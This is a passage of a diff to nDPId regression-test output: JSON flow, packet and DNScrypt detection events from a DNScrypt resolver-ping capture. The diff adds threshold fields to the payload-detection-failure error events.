AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -964,9 +846,9 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":476,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":192,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380984041,"flow_src_last_pkt_time":946739380984041,"flow_dst_last_pkt_time":946739380984041,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380984041,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":39259,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_src_last_pkt_time":946739380984041,"flow_dst_last_pkt_time":946739380984041,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739380984041,"pkt":"REREREREZmZmZmZmCABFAAXcVMggAH4RTqEKAAABVQVd5plbIPsGBOYr4+0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":476,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":192,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380984041,"flow_src_last_pkt_time":946739380984041,"flow_dst_last_pkt_time":946739380984041,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380984041,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":39259,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":477,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380984057} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739380984057,"packet_id":477,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380984057} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":477,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739380984041,"pkt":"REREREREZmZmZmZmCABFAABQVMgAuX4Rc3QKAAABVQVd5gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":478,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380984062} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739380984062,"packet_id":478,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380984062} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":478,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739380984041,"pkt":"REREREREZmZmZmZmCABFAABQVMkAuX4Rc3MKAAABVQVd5gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00758{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":2,"flow_src_last_pkt_time":946739380983957,"flow_dst_last_pkt_time":946739381015839,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"thread_ts_usec":946739381015839,"pkt":"ZmZmZmZmRERERERECABFAADPeUtAADQRWStVBV3mCgAAASD7tjYAu6OI4+6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} 00759{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":2,"flow_src_last_pkt_time":946739380983948,"flow_dst_last_pkt_time":946739381016027,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"thread_ts_usec":946739381016027,"pkt":"ZmZmZmZmRERERERECABFAADPeUlAADQRWS1VBV3mCgAAASD75kQAu3N24\/KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} @@ -1127,12 +1009,12 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":487,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":195,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739391046811,"flow_src_last_pkt_time":946739391046811,"flow_dst_last_pkt_time":946739391046811,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739391046811,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":51509,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_src_last_pkt_time":946739391046811,"flow_dst_last_pkt_time":946739391046811,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739391046811,"pkt":"REREREREZmZmZmZmCABFAAXcBYcgAH4R5yEKAAABi2PeSMk1IPsGBMVRmlYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":487,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":195,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739391046811,"flow_src_last_pkt_time":946739391046811,"flow_dst_last_pkt_time":946739391046811,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739391046811,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":51509,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":488,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739391046819} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739391046819,"packet_id":488,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739391046819} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":488,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739391046811,"pkt":"REREREREZmZmZmZmCABFAABQBYYAuX4RC\/YKAAABi2PeSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":489,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":196,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739391046818,"flow_src_last_pkt_time":946739391046818,"flow_dst_last_pkt_time":946739391046818,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739391046818,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":45682,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_src_last_pkt_time":946739391046818,"flow_dst_last_pkt_time":946739391046818,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739391046818,"pkt":"REREREREZmZmZmZmCABFAAIcBYhAAH4RyuAKAAABi2PeSLJyIPsCCCyCmlcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":489,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":196,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739391046818,"flow_src_last_pkt_time":946739391046818,"flow_dst_last_pkt_time":946739391046818,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739391046818,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":45682,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":490,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739391046826} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739391046826,"packet_id":490,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739391046826} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":490,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739391046818,"pkt":"REREREREZmZmZmZmCABFAABQBYcAuX4RC\/UKAAABi2PeSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":491,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":197,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739391046859,"flow_src_last_pkt_time":946739391046859,"flow_dst_last_pkt_time":946739391046859,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739391046859,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":59400,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_src_last_pkt_time":946739391046859,"flow_dst_last_pkt_time":946739391046859,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739391046859,"pkt":"REREREREZmZmZmZmCABFAAIcBYlAAH4Ryt8KAAABi2PeSOgIIPsCCCyCmlUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -1140,7 +1022,7 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":492,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":198,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739391046881,"flow_src_last_pkt_time":946739391046881,"flow_dst_last_pkt_time":946739391046881,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739391046881,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":49796,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_src_last_pkt_time":946739391046881,"flow_dst_last_pkt_time":946739391046881,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739391046881,"pkt":"REREREREZmZmZmZmCABFAAXcBYogAH4R5x4KAAABi2PeSMKEIPsGBMwAmlgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA